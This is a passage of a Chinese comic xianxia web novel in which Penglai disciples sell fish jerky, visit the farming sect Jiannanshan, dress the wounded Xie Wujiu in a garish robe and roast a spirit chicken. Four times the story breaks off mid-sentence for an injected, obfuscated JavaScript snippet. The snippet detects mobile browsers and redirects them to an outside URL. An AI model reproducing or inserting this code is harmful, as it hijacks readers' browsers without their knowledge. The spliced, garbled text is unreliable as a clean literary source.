发生了什么?望着这些人突然饱含感激之情的眼睛,谢无柩不明所以。 “你们说这是什么鱼干?什么莱?”一个声音突然打断了他们的眼神交流。 萧衔蝉寻声看去,是一个穿青袍的修士,她连忙清了清嗓子,开始狡辩:“是朋来,有朋自远方来,不亦乐乎的朋来。” 可不能让别人知道他们蓬莱岛和凡人争利,这岂不是坏了宗门名声! “听上去,倒是和传说中的蓬莱很是相像。”站在萧衔蝉摊前的青袍修士蹙眉,“我们见南山坐镇悠然城九百年,从未听说过有朋来这个门派。” 他看了看摊子上的鱼干,这些鱼干蕴含着灵力,且个个硕大,一看就知肉质极好,青袍修士眼睛一亮:“我知道了,你们也是修生灵道的?” 谢无柩一直蹙起的眉头更紧了几分,生灵道?他想起来了,是那个以种田养殖为修行之道的门派,名叫见南山。 只是他坠入堕魔渊时,这个门派才将将成立,怎么此人却说他们见南山伫立了九百多年?难道他在堕魔渊度过了近千年? 花沸雪亦是微怔,他入蓬莱前在外行走,没听说过大道五十中,还有一条生灵道。 青袍修士却似找到志同道合的好友,非常友好道:“在下见南山弟子时青谷,请问,这些鱼是各位道友养的吗?” 鸿蒙海易沉难浮,生长于鸿蒙海的鱼很难捕捞,岛民要捕鱼为生,鲛人以鱼为食,蓬莱岛便用术法在几座岛之间圈出一片小海,鱼就养在其中,这才使得这些鱼好捕捞了些,使得这些鱼进入千家万户的餐桌,换言之,这些就是他们养的。 萧衔蝉只稍微思考了一息,就点头称是:“不错,鄙派以养鱼为修行之道。” 只听时青谷愈加惊喜的声音:“未曾想到除了我见南山,还有修生灵道的道友,几位道友可愿与我回见南山做客,一同探讨一下生灵道的修行之法?” 萧衔蝉转了转眼睛,笑道:“这当然好,只是我们还要将这些卖出去……” “这有何难,我尽数买下就是。”时青谷道,“这些共要多少灵石?” 萧衔蝉和二师兄交换了个眼神,在蓬莱岛,五条鱼干一块下品灵石,在外面,这个价就得涨一涨了,三条鱼干一块下品灵石。 萧衔蝉捂住良心,默默谴责自己,真是太黑了。 金不禁一眼扫过麻袋上放着的三十多条鱼干,抹去零头,冲着时青谷伸出手比了个十。 “十块灵石?”时青谷睁大眼睛。 萧衔蝉慌了一下,难道价要高了? 却听时青谷笑道:“道友太淳朴了!”他从芥子袋里取出十块透明的灵石放到金不禁手里。 下品灵石多是彩色的,颜色越艳丽意味着杂质越多,中品灵石是白色的,上品灵石是透明的,这十块透明的灵石,全是上品。 萧衔蝉愣住了。 11. 见南山(二) 金不禁的手颤了颤,收入一下子翻了好几倍,十块上品灵石,他们蓬莱岛可攒了好几年啊!第一场生意就把他们出岛的路费赚回来了! 秦含玉的脸瞬间露出笑容,声音都刻意温柔了几分:“我们帮道友扛回去!” 说着,以极不符合声音和外貌的架势,力拔山兮扛起两条与人一样高的大麻袋,拦住想要搭把手的陌生修士,语气铿锵有力道:“别要强,你的强来了。” 萧衔蝉被天降横财冲击到没注意小师妹的冷笑话,大伙脸上都挂着压不下去的笑容和丰收的喜悦,跟在时青谷的身后,一起向见南山飞去。 “我们也时常要下山向其他修士兜售种出来的稻谷菜蔬,知晓买卖的不易,不瞒道友,我们见南山弟子于大多种植一道颇有心得,只是养殖一道就不大精通了,各位道友将鱼养的这般好,我真想和道友一叙养殖之道。 不如让我尽一尽地主之谊,今晚诸位道友便歇在我们见南山吧。” 时青谷一边说,一边和众人驾云飞行,不消多时,几人就在一座青山下驻足。 此山青翠逼人,绵延不绝,整座山耕出一块块梯田,如同码好的点心匣子,时不时有布衣修士们站在田埂上施法,促使碧绿的田野生长,间或几头灵牛拉着爬犁淌过水田。 夕阳在稻田中投下波光粼粼的彩霞,一些修士躺在水牛身上,嘴里叼着草叶,晃晃悠悠回到山顶门派里。 说是修真门派,看上去却更像世代耕田为生的村庄。 谢无柩不动声色,准备和这个见南山修士套套话,问清楚如今距他跳入堕魔渊过了多少年,世间都发生了什么大事无有。 他捂着嘴正准备咳嗽几声,却在出声前将声音咽下去,下意识地左右看看,免得萧衔蝉听见他咳嗽,又手动用尾巴给他穿上真皮大衣,却见周围没有萧衔蝉的身影。 她人呢? 萧衔蝉拿着自己的大作走进几家书肆,然后带着几块上品灵石走出来,算算自己目前的存款,总共有一百零一块灵石,上品! 这些年萧衔蝉从没见过这么多钱,她呲着牙花子,兴奋地拿着钱走进一家店。 这家店是售卖法衣的,货架上挂着的衣服件件以灵力绣着符箓,或嵌有灵石催动的小型阵法,显得华贵非常仙气飘飘。 蓬莱岛没有这样的店,修士与凡人体质不同,穿凡人之衣很容易将衣服弄坏,所以他们的法衣都是师父用师祖们留下来的法衣,手工改动制作的。 每人只有一件,破了都是师父帮忙缝补,故而萧衔蝉对这些衣服的价格行市并不清楚。 这家店虽然小,但衣服样式却多,萧衔蝉左看右看,看中了一件华贵的白色法袍,衣袖与缘边上都绣着精美的金色符箓,一看就非常衬谢道友。 她大手一挥:“那件白衣服给我包起来。” 老板笑的谄媚:“仙长好眼光,这是我们店里最好的衣服,用的是蜃楼出品的天虫丝,符箓都是春不过篆刻的,又好看又实用。您是给心上人买吧?光是看这衣服都能想象出您二位是多么郎才女貌了,承惠一千块上品灵石。” 萧衔蝉摸了摸兜里的钱,豪气的笑容僵在脸上,外面的物价这么疯狂吗? 不慌,小场面,萧衔蝉安慰自己,不就是讲价嘛,讲价对半砍……对半砍她也没那么多钱买呀! “咳咳”萧衔蝉咳嗽了一下,一掌拍到桌子上,露出手里的灵石,“一百块上品灵石,卖不卖?” 现在换老板的笑容僵在脸上了,还以为今天来了个大财主,没想到……老板收起谄媚的笑,“一百?那您只能买那里的衣服。” 他指了指一堆卖不出去的打折品。 萧衔蝉看了一眼那堆衣服,瞬间被花花绿绿的颜色和审美超前的设计刺的眼疼,腹诽道,难怪这些衣服卖不出去,都是有原因的。 只是一文钱难倒英雄汉,她犹豫良久,只能在这堆奇奇怪怪的丑东西里选。 翻来翻去,萧衔蝉左手拿着一件红底绿叶牡丹东北大棉袄style的法衣,右手拿着一件黑色尖刺狼牙棒杀马特sm风格的法衣犹豫不决。 不是她审美不好,而是这里根本没有正常审美的玩意儿! 这两件已经算是正常的了。 思来想去,萧衔蝉买下了红底牡丹,毕竟红牡丹只能让人心灵受到冲击,狼牙棒却是让人心灵和身体都受到伤害。 而且这红花大棉袄让她觉得怪亲切的,看久了也不难看的……吧? 讨价还价下,老板同意在打折价的基础上再打五折,只求萧衔蝉不要再拿着红底大牡丹在他眼前晃,光是看这衣服,都能想象穿上衣服的男人有多么奇形怪状。 算着少赚的灵石,老板还有些不甘:“这件法衣还有特殊之处呢,这么卖给你我真是亏大了!” 萧衔蝉拿起衣服塞进芥子袋,欢欢喜喜地离开了。 悠然城如其名,百姓的日子过得很是悠然,不知是不是有什么盛事,即便金乌西沉、夜色渐浓,城里还是非常热闹,街道两边摆满小摊,挂着幌子。 人群熙熙攘攘,天上修士南来北去,比白天的人还多。 “怎么这么多人?”萧衔蝉一边逆着人流前行,一边嘀嘀咕咕。 悠然城是一座凡人与修士混居的城池,眼下已是傍晚,大伙不在家中吃饭,都上到街道来做什么? 萧衔蝉走进一家糖铺,躲避汹涌的人潮顺带买些零嘴。 她问掌柜缘何此时这般多人,掌柜道:“仙姑有所不知,今年悠然城的青苗节恰好就在仙帝诞辰月,故而大伙将两节并在一处庆祝,才会这么热闹。” 旁边一穿着洗得发白的衣裳的人听见他们说话,道:“仙寿节间,晨起前往仙帝祠祈愿,便能受仙帝降下的福泽,这会子大伙便要去仙帝祠占位子,免得去晚了求不到福泽。” 他的眼睛里满是狂热的光,周围朝圣的人与他一样,听到仙帝尊号,各个像镀了金一样,容光焕发。 “原来如此。”萧衔蝉点点头,她还以为什么仙帝鬼王魔尊,都是传说里的人物,应该没有人会当真,没想到外界人如此虔诚。 望着这摩肩接踵的热闹场景,萧衔蝉索性在糖铺多待了一会,拎着买的东西回到见南山时,时青谷已经将谢无柩引为人生知己了。 他哥俩好地拍着谢无柩的肩膀:“谢道友待会一定要尝尝我们见南山新出栏的灵猪,虽然我派于养猪一道还未有什么进益,但见南山的猪和凡人的猪还是有所不同的。” 萧衔蝉没进门就听到他们谈话了,只是距离太远,她只听到了模糊的“谢道友”和“养猪”五个字。 一个呼吸间,她便飞身走进时青谷的房间,看向谢无柩:“养猪?难怪谢道友说自己养些东西,你原来是修养猪道的!” 时青谷听了萧衔蝉的话就更激动了,不等谢无柩说什么,声音就高了八度:“谢道友是修养猪道的?难怪我一见谢道友就觉得面善,待会看见我们的灵猪请务必多多指教。” 金不禁和秦含玉也惊讶不已,妙妙是怎么知道谢道友修养猪道? 不过仔细一想,来路上妙妙一直带着谢道友同乘一朵云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725641|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们有些旁人不知道的交谈太正常了。 于是也便没有多想,只觉得好奇:“养猪一道要怎么修炼呢?是靠杀猪吗?杀一定数量的肥猪就能升阶突破?” 花沸雪恍然大悟,道:“难怪我给谢道友治病时,观你经脉残存的灵气凶煞非常。” 萧衔蝉听了大家一大篇的话,还以为自己猜对了,于是也道:“肯定是时常杀猪才导致灵气煞重。” 谢无柩:…… 就离谱,在他一句话没说的情况下,他突然就变成了一个杀猪的! 骨节分明的手指捏着茶杯微微一顿,一丝裂痕就出现在杯壁里,杯外还光滑如初,他面沉如水,道:“我不是……” 看着谢无柩脸色不对劲,萧衔蝉瞬间福至心灵,谢道友身受重伤,已经不能修炼了,现在提起他曾经修炼之道肯定会勾起他的伤心事。 作为一个体贴的修士,萧衔蝉想转移谢道友的注意力,于是她连忙打断谢棺自怨自艾的话:“对了,我们今天赚到钱后,我就给你买了礼物,谢道友,你猜我给你买了什么好东西?” 谢无柩一口解释的话被她打断,卡在嗓子眼里,上不去下不来,只噎得他气管疼。 萧衔蝉拿出红底牡丹花布的衣服时,厅内聊天的所有人都沉默了。 时青谷看看这花里胡哨的衣服,再看看即使身体虚弱也不掩面容英俊的知己,有些犹豫要不要把那个评价说出来。 在他开口说“丑”前,金不禁说话了:“真是一件很好看的衣服。” 他的眼睛亮亮的,语气真诚,完全不像说假话。 花沸雪轻拍师弟的肩膀,声音柔和:“我也这么觉得。” 谢无柩如同无波古井的眼睛看向他们,他原本打算在杀人之前只折磨姓萧的一个人,现在看来,这两人的眼睛也需要在杀了他们之前挖出来碾碎。 秦含玉难得露出与自己容貌相匹配的表情,像林妹妹倒拔垂杨柳终于拔累了,蹙起秀气的眉:“我想家了,师姐,你也想小红了对不对?” 萧衔蝉看看红花大棉袄,再听听师妹的话,她突然明白自己当时为什么觉得大棉袄style的法衣莫名好看了,因为蓬莱岛上的红美人就是这么红、这么绿、这么艳! 那些花在岛上一长一大片,虽然时常吃他们的头发,搞得他们一个不防,身上就带上一团黄绿色的粘液,但是离家之后,这样的记忆也颇值得怀念。 她瞬间觉得这衣服更顺眼了。 “难怪说红配绿是经典配色,我现在觉得这衣服真是越看越好看。”萧衔蝉看着手里的衣服,脸上露出慈爱的表情,“谢道友,你快换上吧。” 在诸多“好看”的评价中,时青谷开始怀疑自己,难道他的审美出问题了?现在修真界开始流行这种时尚了吗? 谢无柩:……他开始盘算自己目前残存的灵力能不能一击必杀面前这些人。 时青谷艰难地开口:“我许久未下山,未曾想山下已经开始时兴这种朴实又超前的衣裳了。” 他迫切希望从自己贫瘠的词汇里,寻找出几个适合夸奖这衣服的话,可是怎么也说不出“好看”两个字。 “小师弟——” 一道声音传到时青谷房间,是他的同门师兄。 房门被大力推开,带起一阵风,这风好巧不巧,正好吹起谢无柩胸前的两片布,只见薄薄的布料掀起,露出了精壮的肌肉和X点,看上去既不健康也不道德。 来人看到这一幕,顿时尖叫如鸡,然后大喝:“时青谷,你竟然带小倌倌入山!” 12. 见南山(三) 密州临山傍水,物产丰富,是个温柔乡,此地之人多情,使得这里有一个他界无有的特色——青楼众多。 这里的青楼也不是普通青楼,而是修合欢道的人开的青楼,为吸引客人,提高竞争力,进而达到采阳补阴或采阴补阳的修炼目的,各大青楼卷生卷死,时常推出一些时(情)尚(趣)设(内)计(衣)招揽客人。 这种胸前开口的大胆设计,在这里只是基础款罢了。 看到师兄怒其不争的面容,时青谷还有些反应不上来:“谢道友是叫谢棺,但师兄为何称他为小棺棺?你们认识吗?” 额角青筋暴起,谢无柩觉得自己忍够了,他就是身死道消,也不能忍受如此奇耻大辱,杯子重重砸到桌子上,正要祭出自己最后的实力时,右臂被人拉住了。 萧衔蝉拉着谢无柩的右胳膊,在谢无柩森冷的目光下,悄悄把人拉到隔壁房子,这里只有他们两个人,前厅的吵闹终于被隔绝开。 “快把衣服换了吧。” 一件花花绿绿的衣裳映入眼帘,谢无柩从未发现自己竟会陷入这般进退两难之地,这种丑衣服他看一眼都觉得委屈了眼睛,更遑论穿上。 可若不穿,按照密州当地风俗,他会被人误以为是风俗业的从业人员。 丑东西和小倌倌,他该何去何从? 萧衔蝉看他一脸为难,于是体贴劝道:“你的法宝因我们而碎,这是我们欠你的,所以不要觉得有负担。” 谢道友这么正直善良的好人,一定是觉得他们救了他已是大恩,此时再受他们帮助,定然不好意思接受,所以才左右为难。 萧衔蝉想到这,索性单手掐诀,红牡丹霎时间就套在了谢无柩身上,不给他拒绝的机会。 谢无柩一口银牙几乎要咬碎。 萧衔蝉道:“普通针线无法缝补法衣,你的法衣是如何制作的我也不懂,所以也没办法用术法修复,万一错了,那这件法衣上的符纹作用就得大打折扣。” 她看着谢道友俊美的脸,只觉得好看的人穿什么都好看,谢道友哪怕穿大棉袄二棉裤,头戴狗皮帽,恐怕也会有别样风采。 “你就先穿新衣服吧,瞧着大红大绿的,多喜庆,衬得你都容光焕发了。” 谢无柩因重伤未愈而苍白的一张脸,此时在衣服的衬托下一阵红一阵绿,与这件法衣相得益彰。 他深呼吸了一下,又深呼吸一下,死,都得死! 只要他自爆丹田,别说面前区区妖修,就是整个见南山他都能一并带走。 谢无柩的手在广袖的掩藏下,微微动作。 “对了,你尝尝这个。”萧衔蝉解开一个油纸包,香甜的味道霎时间萦绕在整个房间。 油纸包里包着两块花生酥糖,乳白与焦黄相间,许是在路上受了颠簸,有一块碎掉了。 “你吃这个整块的,我吃碎掉的。” 身为负债人,萧衔蝉极为殷勤地讨好债主,拿起卖相好的那块酥糖放在谢无柩手心,自己用油纸托着,将碎掉的糖倒进嘴里,像吃到什么珍馐美馔般感叹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725642|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇!好甜哦!” 在蓬莱岛要吃糖时,便只有红美人花蜜做的饴糖,吃了这么些年,她已经腻的不能再腻了。 谢无柩一时不防,叫她往自己手心塞了一块糖,感受到从手掌里传来糖块粘腻的触感和簌簌掉下的碎渣,他的目光愈发深沉。 残存的灵气在碎掉的经脉里行走,他好似全感受不到这种细密的割肉断骨之痛,冷声道:“你和你的同门……”今日都得死。 可他这句话没能说完,因为他的嘴突然被塞进了一块又酥又甜又大的糖,这块糖填满了他的嘴,让他的腮帮子也鼓了起来。 谢无柩骤然睁大眼睛,只见一双澄澈的眼睛看着他,她小小声道:“你拿着糖不吃,傻站着干嘛?你也太心软良善了,别想着分给大家了,我日后再给师兄师妹们买糖吃,今天第一次赚到灵石,当然要给你先用!” 遇到人品这么好的债主,萧衔蝉自觉要好好对待他。 心软良善? 谢无柩愣住了,嘴被糖塞得满满当当,清晰地感受到她的指尖快速划过他的嘴的触感,轻飘飘的,一触即离,却让他觉得自己五感好像被放大到极致,霎时间,山林清溪边的禽鸟鸣叫、田间地头的牛羊蹄声、修士凡人的谈天说地都涌入他的耳朵。 好似他周身看不见的壁垒被人强行突破,他与这个陌生的世界第一次有了接触,这种感觉陌生又熟悉,乃至于让他生出几分怪异的情绪。 谢无柩思忖良久,方知这种情绪名为不知所措。 13. 见南山(四) 时青谷的师兄钟青粟了解前因后果后,很是不好意思,他敲开萧衔蝉和谢无柩所在屋子的门,憨厚的脸上挂着尴尬的笑。 “实在对不住,密州多出美人,许多弟子因为青楼小倌倌的勾引,都欺师灭祖、不思正道了,最近又快到花魁大比,我们见南山有一弟子,近日被一小倌倌迷的晕头转向,为了捧他做花魁,都好几日没回来了,所以我一看到谢道友那副模样,还以为我小师弟也……” 谢无柩的脸又黑了。 一行人复回到前厅。 时青谷为师兄的鲁莽给谢无柩连连道歉:“真是对不住谢道友,说起来,我此番下山,也是为了打听各大青楼最近的消息,我打听清楚了。” 他对大师兄说,“吴师姐最后出现的地方,就在白玉京的浮云阁,她为浮云阁的前任花魁卿鱼公子一掷千金,而后进入他的屋子,再未出来。 浮云阁即将举办选花会,要选出下一届花魁,许多修士为了支持自己喜欢的美人,一年前就去白玉京住下了,一些有钱的修士更是豪掷千金,直接住在浮云阁里。” 钟青粟皱眉:“白玉京可是明月夜直接辖治的地盘,有明月夜坐镇,合欢道竟也敢这般张扬?” “明月夜?”花沸雪开口,他回想了一下,“密州明月夜,可是那个明月夜?” 离家时师父给他们科普过其他八方代表性的门派都是什么,这八大门派如同一界帝王,以至于其他小门派和凡人的国家、城池都依附这八大门派而生,譬如密州的明月夜,饶益的汨罗坞,丰溢的莲送归,关龠的昆仑宗。 这些大宗派自诸天万界大战时便存在,如今坐镇一方,掌管一界之事,名为门派,实则是一界霸主。 但其他小门派的名字他们就不知道了,毕竟近万年来世事更迭,也只有八大门派每隔千年就和蓬莱传一次信。 钟青粟点头:“就是那个明月夜,许是大门大派事务繁杂,这些青楼的小事他们懒得管吧。” “浮云阁可不是小青楼,就是纵观九方世界,浮云阁也称得上第一楼。”时青谷道,“不过想来到底是青楼,明月夜不屑管,也情有可原,但是我们可得把吴师姐带回来,我这就出发去白玉京。” 钟青粟立刻拉住小师弟:“站住,你就是去了白玉京又能如何呢?从百年前,浮云阁定下了进阁得先交一千上品灵石买赏花令的规矩,无令不得入阁,你有这么多钱吗?” 时青谷哭丧着脸:“那怎么办?吴师姐养的鸡把我种了一百多年、好不容易才出穗的金叶玉谷都吃光了,我呕心沥血培育出来,就指着这些谷子从筑基进阶到金丹呢!那浮云阁真是的,本就是个销金窟,如今还想出这么个雁过拔毛的法子敛财!哪家青楼光是进门就要交钱?不都是在楼里有花费才会要钱吗?” 萧衔蝉听明白了,这就好比一个农学生的论文把另一个农学生的论文给吃了,关键是该负责的人竟然还不在。 金不禁发现了一个华点:“你们口中的浮云阁,光是进门就要先交一千上品灵石,时道友没有这么多钱,那为何时道友的师姐如此富裕?” 闻言,时青谷原就哭丧的脸更丧气了:“我们见南山精通养殖之道的不多,吴师姐就是其中一个,她养的鸡个个肉质肥美非常,吃了便灵气大增,延年益寿,于经脉丹田极有补益,故而能卖出好价钱,往日一只鸡就能卖三块上品灵石,一年至少能卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725643|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出几万只。” 萧衔蝉的眼睛亮了,和二师兄对视一眼,她开口道:“时道友,我有办法叫你进浮云阁还不用花钱,不若我们师兄妹随你同去?” 金不禁接话,佯装反对:“师妹,我们出门前师父交代过,让我们不要乱跑,卖完这几麻袋咸鱼干赚到钱就行了,你怎么还……” 时青谷只觉得柳暗花明又一村,这就是伟大的友谊,自己真没白结交这些朋友! 他激动道:“不就是鱼干嘛,我买了!” 他数了数麻袋里几乎和人一样高的鱼干,豪爽地掏出几百块上品灵石。 萧衔蝉笑的跟朵花似的,一边嘴上推辞:“时道友见外了。”一边手里动作不停,飞快地将灵石接过来。 充分发挥过年推辞长辈给红包时的演技。 谢无柩嘴角微乎其微地撇了一下,嘴上说见外,手里收钱的动作比谁都快。 他小声嘟囔一句:“表里不一,贪财成性。” 萧衔蝉忽然看向嘴唇翕动的谢无柩。 谢无柩微微挑眉,他没出声啊,难道她看出他说什么了?看出便看出吧,他实话实说罢了…… 却见萧衔蝉突然冲着他大声说:“鸡?什么鸡?还要啥自行车……啊不,还要啥鸡啊?谢无柩你放心,等我们赚了钱,马上就买只鸡来给你吃,我们不能看人家吴道友不在就吃人家的鸡!更不能觉得吴道友的鸡吃了时道友的谷子,我们就该吃她的鸡,冤冤相报何时了哇?” 她义正言辞,吐字清晰,表情认真到谢无柩怀疑自己真的说了什么。 时青谷茅塞顿开,对啊!吴师姐的鸡吃了他的谷子,他就该吃了吴师姐的鸡才公平! 14. 明月夜(一) 他右手握拳捶向左手掌心,茅塞顿开,坚定道:“谢道友你稍等,我这就把那只孽障带来拔毛烧了!” 说着,步履匆匆出门驾着云往隔壁山头去了。 钟青粟拦不住生气的小师弟,一想到吴师妹回来后肯定要闹得人仰马翻,只觉得心累,在一旁唉声叹气。 谢无柩:……他说什么了吗? 第一次经历这等厚颜无耻的事情,他真是有口难言。 萧衔蝉将赚来的灵石往二师兄的芥子袋一塞,站到谢无柩身边,身形倾斜靠向他,传音入密道:“谢道友,我们配合得太默契了!” 谢无柩沉默不语,有种自己的节操被强行下拉的错觉,他斜眼看她,只看得见毛绒绒的头顶,浓墨发辫垂下,编织进辫子的鹅黄色发带一晃一晃地蹭着他。 既然是传音入密,她有必要靠的这么近吗?不等他推开萧衔蝉,只听见另一个声音也传音而来。 秦含玉道:“谢道友第一次和我们打配合,就立了大功一件!” 金不禁的声音紧随其后:“要不我觉得谢道友和咱们有缘呢,看谢道友第一眼我就觉得道友合该是我们蓬莱岛的家人。” 花沸雪也道:“待会的鸡得给谢道友留一只腿才是!” 谢无柩发现自从认识这群莫名其妙的人后,自己迷茫沉默的次数越来越多。 不多时,时青谷拎着一只拔干净毛、死不瞑目的鸡进来了。 不愧是能卖三块上品灵石的鸡,除了灵气充盈,体型也相当可观。 “我来做!”萧衔蝉自告奋勇地撸起袖子,赞叹道,“见南山有鸟,其名为鸡,鸡之大,一锅炖不下,需要两个烧烤架,一个蜜汁,一个麻辣!” 谢无柩嘴角抽搐,上古神兽鲲鹏要听到这话该哭了吧。 秦含玉和师姐配合默契,熟练的将背上的刀舞得虎虎生风,刷刷两下,就将鸡切成几个小块,再把刀架在两块大石头上,做铁板烧。 金不禁打了个响指,火苗应声而燃,天级灵根的火自然不同凡响,不多时就将鸡烤得流油。 花沸雪用术法将天月骨昙花粉送出,均匀地撒在鸡肉上,霎时间一股异香环绕在见南山山头,与烤鸡相得益彰。 月光皎洁,青翠山顶上,几个少年人蹲在大树下,晚风拂面,本是诗情画意的场景,可他们双手抓着肉,眼冒绿光,宛如野人,生生破坏了这副美景。 钟青粟也顾不得师姐回来会生气了,他和时青谷两人嘴里塞满鸡肉,吃得喷香。 萧衔蝉扯下一只大鸡腿,塞到谢无柩手里:“吃!放开肚子吃!” 金不禁吃着鸡脯肉,道:“这鸡真是大,就是鸡腿和鸡翅都只有一对,要是多长些腿就好了。” 萧衔蝉一边啃骨头一边含糊不清地说:“我倒有个思路,如果把章鱼生长因素‘嫁接’到鸡身上,或许能培育出多腿鸡,要是这种八条腿的鸡培育出来,肯定能让大伙啃个过瘾,到时候就叫它啃得鸡。” 众人嘴里塞满鸡肉,说不出话,只含糊点头赞同。 两只鸡腿一只给了谢无柩这个伤患兼债主,一只他们几人分着吃,时青谷还劝蓬莱岛四人吃烤稻花鱼,被他们十动然拒。 好不容易有鸡吃,谁还想吃鱼? 谢无柩却不着急吃,充满兴味,打量眼前这群人。 要是他没看错的话,那魔修手里的刀,看上去像是失踪许久的魔刀几千秋;那人修的火不同凡响,天阶火灵根也没有这般精纯的火力;那鬼修最后送出的东西更了不得,他怎么会有天月骨昙花粉? 生前有大功德者,死后骨殖可生花,纳月精化形,类昙花,故名天月骨昙。 可若此人生前有大功德,三魂七魄早就被引渡至上界,又或转世投个好胎,怎么会和执念未尽的厉鬼一般,化身为鬼修呢? 多番思绪在心里转了一圈后,谢无柩这才发现手里多了只大鸡腿,烤出来的油顺着他的手掌滑落,素来爱洁的谢无柩又想杀人了,正要放回去,却见旁边吃得满嘴是油的萧衔蝉正目光灼灼地盯着他。 还有这个妖修,这个妖修看上去是最平平无奇的一个,谢无柩又沉思起来,这些修士个个不凡,身为这些人的同门,看来这个妖修一定有特别之处。 萧衔蝉目露渴望,看着谢棺手里的鸡腿,小熊猫是杂食性动物,可是她最爱吃的、梦里都忘不掉的鸡腿。 然而自穿越来,她想吃鸡都快想疯了,可惜蓬莱岛上要鱼多的是,要鸡,一根毛都没。 她此时正像一个无情的脱骨机器,管是鸡脖子、鸡爪子、鸡翅膀,凡是进了她的嘴,一息不到,骨头就干干净净吐出来了。 谢无柩忍着翻白眼的冲动,将手里的鸡腿塞回萧衔蝉手中,他明白了,这个妖修的特别之处就是她特别能吃! 接过鸡腿的萧衔蝉感动极了,谢道友真是好人,自己给他花生糖,他就给她最爱吃的鸡腿,她用法术将鸡腿一切两半,把一半的鸡腿肉剃出来放到盘子里,再端给谢棺。 “谢道友,我把肉都切成小块了,你伤病缠身,得吃些东西补身体,这鸡养的不错,吃了对身体有好处。” 肉质鲜嫩,肉汁四溢,整整齐齐的鸡肉块放在盘子里,散发出诱人的香气。 谢无柩看着盘子默不出声,久到萧衔蝉以为他真的不想吃,他才慢腾腾地挟起一块肉放入口中,动作优雅。 萧衔蝉默默欣赏谢道友的吃播,与他们这群直接上手用嘴啃的野蛮人相比,谢道友就好像仙界的仙君。 金不禁手拿鸡翅从她旁边路过时,以迅雷不及掩耳之势抢走了萧衔蝉手里的鸡腿,萧衔蝉正看谢无柩吃饭,一回神,自己的鸡腿不见了,她大喊大叫地追着金不禁跑过去。 “金万两,你个小贼,竟敢抢我的肉,纳命来!” 秦含玉拿着另一只鸡腿,见二师兄和师姐跑过来,悄悄伸出脚,金不禁一时不察,被绊着了,脚步踉跄,一下子就被萧衔蝉追上,扑在他的背上张牙舞爪。 “秦小玉!你个没良心的小混蛋,就知道向着你师姐!” “小玉,干得漂亮!姐姐给你买酒喝!金万两,你还想往哪里跑!” 秦含玉冲着金不禁摇头晃脑:“略略略。” 花沸雪在一旁“呀”了一声:“你们几个,都多大了,怎么还跟小时候一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740026|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,一点长进也没有,现在在人家家里做客,还不消停点。” 时青谷笑道:“没事没事。” 谢无柩咀嚼着口中食物,沉默在他周身铸就了一层看不见的屏障。 一只灵鸡并没有多少,时青谷虽然记恨师姐的鸡吃了他的谷子,但还没有失去理智,没将这些鸡一网打尽。 蓬莱岛四人和编外人员谢无柩今晚歇在见南山,时青谷特意选了个清静的山顶洞府给他们,几个少年人并不着急去休息,今日是他们第一日接触外界人,满目新鲜,根本睡不着。 晚风拂过梯田,稻花香阵阵,偶尔一两声牛叫,让人觉得悠闲。 几人拍着肚子惬意地躺在草地上,回想这一日发生的事,绿草如茵,清风徐徐,满天繁星,忽有一颗星子闪着亮光拖着长尾划破天空,紧接着,数颗星星如雨幕般落下,万千星子照亮天幕。 萧衔蝉一下子弹坐起来,指着天空激动道:“是流星!快许愿!” 才出岛就看见流星,一定是好兆头! 秦含玉连忙虔诚闭眼:“我要成为天下第一刀,还要喝遍天下美酒,贼老天你听到没?你若是敢阻拦老娘实现毕生所愿,老娘就捅破你!” 她背后的且停侯嗡鸣一声,仿佛在控诉主人把它这个未来第一刀当铁板。 金不禁也双手合十:“老天保佑,我只求自由自在,我还要兜里总是装满钱,我还要遍游九方世界,天南海北,深林雪山,无我不能去之地!” 金不禁贪心,嘴上只说个不停。 花沸雪静静看着天空,不发一言,萧衔蝉看去,对上师兄的目光,花沸雪温柔笑道:“我已经在心里许了愿——一愿天下长太平,二愿世间人无病,三愿如同棠棣花……” 